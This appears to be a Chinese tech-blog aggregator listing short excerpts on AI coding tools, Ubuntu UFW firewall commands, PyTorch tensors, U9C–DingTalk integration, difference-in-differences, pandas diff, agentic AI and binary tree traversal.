在软件开发的历史长河中&#xff0c;每一次技术革新都伴随着对效率与可控性的重新定义。当 ChatGPT、GitHub Copilot 等 AI 工具以自然语言生成代码的惊艳表现叩响编程世界的大门时&#xff0c;人们曾满怀憧憬地期待一个 “无代码” 的黄金时代 —— 只需用日常语言描述需求&am…...

Ubuntu操作合集

UFWUncomplicated Firewall 查看状态和规则&#xff1a; 1查看状态sudo ufw status&#xff0c; 2查看详细信息sudo ufw status verbose&#xff0c; 默认策略配置&#xff1a; 1拒绝所有入站sudo ufw default deny incoming 2允许所有出战sudo ufw default allow outgoing …...

张量与Python标量:核心区别与计算图断开解析

张量与Python标量的核心区别 张量(Tensor) 是PyTorch中的核心数据结构,类似于多维数组: 支持GPU加速计算跟踪计算历史(用于自动求导)可以包含多个元素Python标量(int/float) 是普通的Python数值类型: 不支持GPU加速没有计算历史记录单个独立数值计算图断开的原因 Py…...

U9C与钉钉审批流对接完整过程

U9C 功能强大&#xff0c;然而在移动办公和审批流方面存在一定不足。为了弥补这一缺陷&#xff0c;不少企业在使用 U9C 的同时&#xff0c;会选择开通钉钉这类 OA 管理系统。不过&#xff0c;两套系统并行使用时&#xff0c;数据同步问题便随之而来。目前&#xff0c;常见的做法…...

双重差分模型学习笔记4(理论)

【DID最全总结】90分钟带你速通双重差分&#xff01;_哔哩哔哩_bilibili 目录 总结&#xff1a;双重差分法&#xff08;DID&#xff09;在社会科学中的应用&#xff1a;理论、发展与前沿分析 一、DID的基本原理与核心思想 二、经典DID&#xff1a;标准模型与应用案例 三、…...

【Pandas】pandas DataFrame diff

Pandas2.2 DataFrame Computations descriptive stats 方法描述DataFrame.abs()用于返回 DataFrame 中每个元素的绝对值DataFrame.all([axis, bool_only, skipna])用于判断 DataFrame 中是否所有元素在指定轴上都为 TrueDataFrame.any(*[, axis, bool_only, skipna])用于判断…...

什么是Agentic AI(代理型人工智能)?

什么是Agentic AI&#xff08;代理型人工智能&#xff09;&#xff1f; 一、概述 Agentic AI&#xff08;代理型人工智能&#xff09;是一类具备自主决策、目标导向性与持续行动能力的人工智能系统。与传统AI系统依赖外部输入和显式命令不同&#xff0c;Agentic AI在设定目标…...

记录算法笔记(2025.5.15)二叉树的层序遍历

给你二叉树的根节点 root &#xff0c;返回其节点值的 层序遍历 。 &#xff08;即逐层地&#xff0c;从左到右访问所有节点&#xff09;。 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&#xff1a;[[3],[9,20],[15,7]] 示例 2&#xff1a; 输入…...